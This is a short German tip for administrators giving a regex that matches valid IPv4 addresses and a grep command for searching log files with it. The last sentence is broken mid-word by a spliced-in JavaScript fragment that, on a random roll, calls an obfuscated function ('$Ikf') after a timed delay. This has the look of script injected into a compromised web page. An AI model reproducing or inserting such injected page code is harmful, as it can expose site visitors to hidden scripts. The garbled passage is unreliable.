Oft kommt es vor, das ein Admin eine gültige IP-Adresse in einem File finden muss. Hier können folgende Zeilen hilfreich sein.
Folgender Regex matched auf alle validen IPv4 Adressen:
1 |
(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" |
Dies kann man z.B. mit grep kombinieren, um in einem Logfile zu suchen:
1 |
$ grep -E "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt |
Natürlich kann man diesen RegEx auch für andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andere Aufgaben nutzen, wie zum Beispiel das Prüfen einer Eingabe bei einem Skript.